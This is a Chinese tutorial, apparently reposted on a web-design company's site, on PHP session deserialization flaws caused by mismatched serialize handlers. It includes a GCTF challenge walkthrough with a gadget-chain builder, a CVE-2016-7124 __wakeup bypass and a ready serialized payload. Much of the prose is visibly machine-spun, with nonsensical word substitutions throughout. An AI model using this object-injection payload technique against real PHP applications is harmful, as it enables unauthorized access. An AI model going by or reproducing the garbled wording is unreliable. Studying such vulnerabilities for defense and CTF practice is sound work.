美工统筹SEO,为企业电子商务营销助力!
深切浅析PHP的session反序列化缝隙题目
一佰互联网站建造(www.taishanly.com) 宣布日期 2020-04-25 14:41:32 阅读数: 112
在php.ini中存在三项设置装备摆设项:
session.save_path="" --设置session的存储途径 session.save_handler="" --设定用户自界说存储函数,若是想利用PHP内置会话存储机制以外的能够利用本函数(数据库等体例) session.auto_start boolen --指定会话模块是不是在请求起头时启动一个会话,默许为0不启动 session.serialize_handler string --界说用来序列化/反序列化的处置器名字。默许利用php
以上的选项便是与PHP中的Session存储和序列话存储有关的选项。
在利用xampp组件装置中,上述的设置装备摆设项的设置以下:
session.save_path="D:xampp mp" 标明一切的session文件都是存储在xampp/tmp下 session.save_handler=files 标明session因此文件的体例来停止存储的 session.auto_start=0 标明默许不启动session session.serialize_handler=php 标明session的默许序列话引擎利用的是php序列话引擎
在上述的设置装备摆设中,session.serialize_handler是用来设置session的序列话引擎的,除默许的PHP引擎以外,还存在其余引擎,差别的引擎所对应的session的存储体例不不异。
php_binary:存储体例是,键名的长度对应的ASCII字符+键名+颠末serialize()函数序列化处置的值
php:存储体例是,键名+竖线+颠末serialize()函数序列处置的值
php_serialize(php>5.5.4):存储体例是,颠末serialize()函数序列化处置的值
在PHP中默许利用的是PHP引擎,若是要修改成其余的引擎,只要要增加代码ini_set("session.serialize_handler", "须要设置的引擎");。示例代码以下:
session 的目次在 /var/lib/php/sessions 中
<?php ini_set("session.serialize_handler", "php_serialize"); session_start(); $_SESSION["name"] = "spoock"; var_dump($_SESSION);
在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:
name|s:6:"spoock";
php_binary 引擎下文件内容为:
names:6:"spoock";
由于name的长度是4,4在ASCII表中对应的便是EOT。按照php_binary的存储法则,最初便是names:6:"spoock";。(俄然发明ASCII的值为4的字符没法在网页下面显现,这个大师自行去查ASCII表吧)
PHP Session中的序列化风险
PHP中的Session的完成是不的题目,风险首要是由于法式员的Session利用不妥而引发的。
若是在PHP在反序列化存储的$_SESSION数据时利用的引擎和序列化利用的引擎不一样,会致使数据没法准确第反序列化。经由进程经心机关的数据包,就能够绕过法式的考证或是履行一些体系的体例。比方:
$_SESSION["ryat"] = "|O:1:"A":1:{s:1:"a";s:2:"xx";}";
php文件如:
<?php ini_set("session.serialize_handler", "php_serialize"); session_start(); $_SESSION["ryat"] = "|O:1:"A":1:{s:1:"a";s:2:"xx";}";
拜候后取得session文件中的内容以下:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但此时摹拟在其余页面利用差别的php引擎来读取时的内容以下:(默许利用php引擎读取session文件)
<?php #ini_set("session.serialize_handler", "php_serialize"); session_start(); #$_SESSION["ryat"] = "|O:1:"A":1:{s:1:"a";s:2:"xx";}"; class A { public $a = "aa"; function __wakeup() { echo $this->a; } } // var_dump($_SESSION);
拜候该页面输入xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }
这是由于当利用php引擎的时辰,php引擎会以|作为作为key和value的分开符,那末就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,而后停止反序列化,最初就会取得A这个类。
这类由于序列话化和反序列化所利用的不一样的引擎便是形成PHP Session序列话缝隙的缘由。缝隙在加载利用php引擎的页面时session去读session中的内容并反序列化致使缝隙触发,不须要任何输入
GCTF上的一道session反序列化缝隙阐发:
index.php中内容为:
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set("session.serialize_handler", "php_serialize"); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET["src"])){ $_SESSION["src"] = $_GET["src"]; highlight_file(__FILE__); print_r($_SESSION["src"]); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body>
在php中,常常会利用序列化操纵来存取数据,可是在序列化的进程中若是处置不妥会带来一些宁静隐患。
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">检查源码</a> </body> </html>
query.php 中的内容为:
/************************/ /* //query.php 局部代码 session_start(); header("Look me: edit by vim ~0~") //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =="aaaaaaaaaaaaaaaaa" && $this->password == "bbbbbbbbbbbbbbbbbb"){ return "key is:{".$this->token."}"; } } } class TOPB{ public $obj; public $attr; function __construct(){ $this->attr = null; $this->obj = null; } function __toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function __wakeup(){ $this->attr = null; $this->obj = null; } function __destruct(){ echo $this->attr; } } */
思绪以下:
这题中咱们机关一个TOPC,在析构的时辰则会挪用echo $this->attr;
;
将attr赋值为TOPB工具,在echo TOPB的时辰会主动挪用__tostring把戏体例
在__tostring中会挪用unserialize($this->attr)
,由于前面用到token和ticket,以是明显时TOPA工具。前面判定须要$this->obj->token === $this->obj->ticket
,以是在序列化的时辰停止指针援用使$a->ticket = &$a->token;
,便可绕过判定。
至于为甚么(string)$this->obj
会输入flag,背景写的login能够是__tostring吧。
此中反序列化字符串中会有一个__wakeup()函数清空外面的参数,我问能够经由进程一个cve来绕过:CVE-2016-7124。将Object中表现数目的字段改成比现实字段大的值便可绕过wakeup函数。
最初的代码为:
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
终究payload为:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
以上所述是小编给大师先容的PHP的session反序列化缝隙,但愿对大师有所赞助,若是大师有任何疑难请给我留言,小编会实时答复大师的。在此也很是感激大师对网页设想网站的撑持!